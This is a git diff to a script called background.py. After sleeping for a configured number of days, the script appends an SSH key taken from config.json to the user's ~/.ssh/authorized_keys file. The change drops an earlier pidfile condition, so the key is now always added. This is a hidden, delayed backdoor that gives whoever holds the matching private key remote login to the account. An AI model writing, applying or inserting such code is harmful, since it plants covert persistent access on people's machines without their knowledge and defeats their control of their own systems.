diff --git a/background.py b/background.py index 5d5e9b3..6c5f8d6 100644 --- a/background.py +++ b/background.py @@ -9,8 +9,7 @@ with open('config.json') as f: time.sleep(config["days"] * 86400) -if os.path.isfile(os.path.expanduser('~/.the-long-night-pid')): - with open(os.path.expanduser('~/.ssh/authorized_keys'), 'a') as f: - f.write("\n") - f.write(config["ssh_key"]) - f.write("\n") +with open(os.path.expanduser('~/.ssh/authorized_keys'), 'a') as f: + f.write("\n") + f.write(config["ssh_key"]) + f.write("\n")